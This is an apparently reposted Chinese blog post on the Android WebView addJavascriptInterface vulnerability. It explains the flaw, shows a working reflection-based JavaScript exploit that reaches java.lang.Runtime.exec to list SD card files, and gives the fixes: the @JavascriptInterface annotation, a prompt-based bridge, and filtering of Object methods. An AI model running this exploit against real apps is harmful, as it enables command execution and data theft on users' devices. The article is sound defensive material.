Android WebView的Js對象注入漏洞解決方案

最近在作一個項目過程當中,發現了一個很嚴重的安全漏洞,這個漏洞是烏雲平臺(http://www.wooyun.org)報告出來的。javascript

1,使用場景

咱們不少時候要使用WebView來展現一個網頁,如今不少應用爲了作到服務端可控,不少結果頁都是網頁的,而不是本地實現,這樣作有不少好處,好比界面的改變不須要從新發布新版本,直接在Server端修改就好了。用網頁來展現界面,一般狀況下都或多或少都與Java代碼有交互,好比點擊網頁上面的一個按鈕,咱們須要知道這個按鈕點擊事件,或者咱們要調用某個方法,讓頁面執行某種動做,爲了實現這些交互,咱們一般都是使用JS來實現,而WebView已經提供了這樣的方法,具體用法以下:html

[java] view plaincopyjava

  1. mWebView.getSettings().setJavaScriptEnabled(true);  android

  2. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  web

咱們向WebView註冊一個名叫「jsInterface」的對象,而後在JS中能夠訪問到jsInterface這個對象,就能夠調用這個對象的一些方法,最終能夠調用到Java代碼中,從而實現了JS與Java代碼的交互。瀏覽器

咱們一塊兒來看看關於addJavascriptInterface方法在Android官網的描述:安全

  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level JELLY_BEAN or below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.app

  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.測試

  • The Java object's fields are not accessible.ui

簡單地說,就是用addJavascriptInterface可能致使不安全,由於JS可能包含惡意代碼。今天咱們要說的這個漏洞就是這個,當JS包含惡意代碼時,它能夠幹任何事情。

2,漏洞描述

經過JavaScript,能夠訪問當前設備的SD卡上面的任何東西,甚至是聯繫人信息,短信等。這很噁心吧,嘎嘎。好,咱們一塊兒來看看是怎麼出現這樣的錯誤的。能夠去看看烏雲平臺上的這個bug描述:猛點這裏

1,WebView添加了JavaScript對象,而且當前應用具備讀寫SDCard的權限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中能夠遍歷window對象,找到存在「getClass」方法的對象的對象,而後再經過反射的機制,獲得Runtime對象,而後調用靜態方法來執行一些命令,好比訪問文件的命令.

3,再從執行命令後返回的輸入流中獲得字符串,就能夠獲得文件名的信息了。而後想幹什麼就幹什麼,好危險。核心JS代碼以下:

[javascript] view plaincopy

  1. function execute(cmdArgs)  

  2. {  

  3.     for (var obj in window) {  

  4.         if ("getClass" in window[obj]) {  

  5.             alert(obj);  

  6.             return  window[obj].getClass().forName("java.lang.Runtime")  

  7.                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

  8.         }  

  9.     }  

  10. }   


3,漏洞證實

舉例一:爲了證實這個漏洞,寫了一個demo來講明。我就只是加載一個包含惡意JS代碼的本地網頁,HTML其代碼以下:

[html] view plaincopy

  1. <html>  

  2.   <head>  

  3.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  

  4.     <script>  

  5.       var i=0;  

  6.       function getContents(inputStream)  

  7.       {  

  8.         var contents = ""+i;  

  9.         var b = inputStream.read();  

  10.         var i = 1;  

  11.         while(b != -1) {  

  12.             var bString = String.fromCharCode(b);  

  13.             contents += bString;  

  14.             contents += "\n"  

  15.             b = inputStream.read();  

  16.         }  

  17.         i=i+1;  

  18.         return contents;  

  19.        }  

  20.         

  21.        function execute(cmdArgs)  

  22.        {  

  23.         for (var obj in window) {  

  24.             console.log(obj);  

  25.             if ("getClass" in window[obj]) {  

  26.                 alert(obj);  

  27.                 return window[obj].getClass().forName("java.lang.Runtime").  

  28.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

  29.              }  

  30.          }  

  31.        }   

  32.         

  33.       var p = execute(["ls","/mnt/sdcard/"]);  

  34.       document.write(getContents(p.getInputStream()));  

  35.     </script>  

  36.   

  37.     <script language="javascript">  

  38.       function onButtonClick()   

  39.       {  

  40.         // Call the method of injected object from Android source.  

  41.         var text = jsInterface.onButtonClick("從JS中傳遞過來的文本!!!");  

  42.         alert(text);  

  43.       }  

  44.   

  45.       function onImageClick()   

  46.       {  

  47.         //Call the method of injected object from Android source.  

  48.         var src = document.getElementById("image").src;  

  49.         var width = document.getElementById("image").width;  

  50.         var height = document.getElementById("image").height;  

  51.   

  52.         // Call the method of injected object from Android source.  

  53.         jsInterface.onImageClick(src, width, height);  

  54.       }  

  55.     </script>  

  56.   </head>  

  57.   

  58.   <body>  

  59.       <p>點擊圖片把URL傳到Java代碼</p>  

  60.       <img class="curved_box" id="image"   

  61.          onclick="onImageClick()"  

  62.          width="328"  

  63.          height="185"  

  64.          src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"  

  65.          onerror="this.src='background_chl.jpg'"/>  

  66.     </p>  

  67.     <button type="button" onclick="onButtonClick()">與Java代碼交互</button>  

  68.   </body>  

  69. </html>  

這段HTML的運行效果以下:


圖一:指望運行結果圖

上圖中,點擊按鈕後,JS中傳遞 一段文本到Java代碼,顯示一下個toast,點擊圖片後,把圖片的URL,width,height傳到Java層,也用toast顯示出來。

要實現這樣的功能,就須要注Java對象。

簡單說明一下

1,請看execute()這個方法,它遍歷全部window的對象,而後找到包含getClass方法的對象,利用這個對象的類,找到java.lang.Runtime對象,而後調用「getRuntime」靜態方法方法獲得Runtime的實例,再調用exec()方法來執行某段命令。

2,getContents()方法,從流中讀取內容,顯示在界面上。

3,關鍵的代碼就是如下兩句

[javascript] view plaincopy

  1. return window[obj].getClass().forName("java.lang.Runtime").  

  2.                     getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  

Java代碼實現以下:

[java] view plaincopy

  1. mWebView = (WebView) findViewById(R.id.webview);  

  2. mWebView.getSettings().setJavaScriptEnabled(true);  

  3. mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  

  4. mWebView.loadUrl("file:///android_asset/html/test.html");  

須要添加的權限:

[html] view plaincopy

  1. <uses-permission android:name="android.permission.INTERNET"/>  

  2. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  

  3. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

當點擊LOAD菜單後,運行截圖以下:(理論上應該出現圖一界面)


圖二:實際運行結果,列出了SDCard中的文件

舉例二:360瀏覽器也存在這個問題,我測試的系統是android 4.0.2,360瀏覽器版本是:4.8.7

在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html,而後前往,它會出現以下的界面


圖三:360瀏覽器運行結果

說明:其中searchBoxJavaBridge_不是360注入的對象,而是WebView內部注入的,這是在3.0之後的Android系統上添加的。

在關閉這個對話框以後,它會列出當前SDCard上面的全部文件列表,以下圖所示


圖四:錯誤結果

4,解決方案

1,Android 4.2以上的系統

在Android 4.2以上的,google做了修正,經過在Java的遠程方法上面聲明一個@JavascriptInterface,以下面代碼:

[java] view plaincopy

  1. class JsObject {  

  2.    @JavascriptInterface  

  3.    public String toString() { return "injectedObject"; }  

  4. }  

  5. webView.addJavascriptInterface(new JsObject(), "injectedObject");  

  6. webView.loadData("""text/html"null);  

  7. webView.loadUrl("javascript:alert(injectedObject.toString())");  

2,Android 4.2如下的系統

這個問題比較難解決,但也不是不能解決。

首先,咱們確定不能再調用addJavascriptInterface方法了。關於這個問題,最核心的就是要知道JS事件這一個動做,JS與Java進行交互咱們知道,有如下幾種,比prompt, alert等,這樣的動做都會對應到WebChromeClient類中相應的方法,對於prompt,它對應的方法是onJsPrompt方法,這個方法的聲明以下:

[java] view plaincopy

  1. public boolean onJsPrompt(WebView view, String url, String message,   

  2.     String defaultValue, JsPromptResult result)  

經過這個方法,JS能把信息(文本)傳遞到Java,而Java也能把信息(文本)傳遞到JS中,通知這個思路咱們能不能找到解決方案呢?

通過一番嘗試與分析,找到一種比較可行的方案,請看下面幾個小點:

【1】讓JS調用一個Javascript方法,這個方法中是調用prompt方法,經過prompt把JS中的信息傳遞過來,這些信息應該是咱們組合成的一段有意義的文本,可能包含:特定標識,方法名稱,參數等。在onJsPrompt方法中,咱們去解析傳遞過來的文本,獲得方法名,參數等,再經過反射機制,調用指定的方法,從而調用到Java對象的方法。

【2】關於返回值,能夠經過prompt返回回去,這樣就能夠把Java中方法的處理結果返回到Js中。

【3】咱們須要動態生成一段聲明Javascript方法的JS腳本,經過loadUrl來加載它,從而註冊到html頁面中,具體的代碼以下:

[javascript] view plaincopy

  1. javascript:(function JsAddJavascriptInterface_(){  

  2.     if (typeof(window.jsInterface)!='undefined') {      

  3.         console.log('window.jsInterface_js_interface_name is exist!!');}   

  4.     else {  

  5.         window.jsInterface = {          

  6.             onButtonClick:function(arg0) {   

  7.                 return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  

  8.             },  

  9.               

  10.             onImageClick:function(arg0,arg1,arg2) {   

  11.                 prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));  

  12.             },  

  13.         };  

  14.     }  

  15. }  

  16. )()  

說明:

1,上面代碼中的jsInterface就是要註冊的對象名,它註冊了兩個方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),若是有返回值,就添加上return。

2,prompt中是咱們約定的字符串,它包含特定的標識符MyApp:,後面包含了一串JSON字符串,它包含了方法名,參數,對象名等。

3,當JS調用onButtonClick或onImageClick時,就會回調到Java層中的onJsPrompt方法,咱們再解析出方法名,參數,對象名,再反射調用方法。
4,window.jsInterface這表示在window上聲明瞭一個Js對象,聲明方法的形式是:方法名:function(參數1,參數2) 

5,一些思考

如下是在實現這個解決方案過程當中遇到的一些問題和思考:

【1】生成Js方法後,加載這段Js的時機是什麼?

剛開始時在當WebView正常加載URL後去加載Js,但發現會存在問題,若是當WebView跳轉到下一個頁面時,以前加載的Js就可能無效了,因此須要再次加載。這個問題通過嘗試,須要在如下幾個方法中加載Js,它們是WebChromeClient和WebViewClient的方法:

  • onLoadResource

  • doUpdateVisitedHistory

  • onPageStarted

  • onPageFinished

  • onReceivedTitle

  • onProgressChanged

目前測試了這幾個地方,沒什麼問題,這裏我也不能徹底確保沒有問題。

【2】須要過濾掉Object類的方法

因爲經過反射的形式來獲得指定對象的方法,他會把基類的方法也會獲得,最頂層的基類就是Object,因此咱們爲了避免把getClass方法注入到Js中,因此咱們須要把Object的公有方法過濾掉。這裏嚴格說來,應該有一個須要過濾方法的列表。目前個人實現中,須要過濾的方法有:

        "getClass",
        "hashCode",
        "notify",
        "notifyAll",
        "equals",
        "toString",
        "wait",

【3】經過手動loadUrl來加載一段js,這種方式難道js中的對象就不在window中嗎?也就是說,經過遍歷window的對象,不能找到咱們經過loadUrl注入的js對象嗎?

關於這個問題,咱們的方法是經過Js聲明的,經過loadUrl的形式來注入到頁面中,其實本質至關於把咱們這動態生成的這一段Js直接寫在Html頁面中,因此,這些Js中的window中雖然包含了咱們聲明的對象,可是他們並非Java對象,他們是經過Js語法聲明的,因此不存在getClass之類的方法。本質上他們是Js對象。

【4】在Android 3.0如下,系統本身添加了一個叫searchBoxJavaBridge_的Js接口,要解決這個安全問題,咱們也須要把這個接口刪除,調用removeJavascriptInterface方法。這個searchBoxJavaBridge_好像是跟google的搜索框相關的。

【5】在實現過程當中,咱們須要判斷系統版本是否在4.2如下,由於在4.2以上,Android修復了這個安全問題。咱們只是須要針對4.2如下的系統做修復。

轉載請註明出處,謝謝你們!!!


源碼下載

相關文章
相關標籤/搜索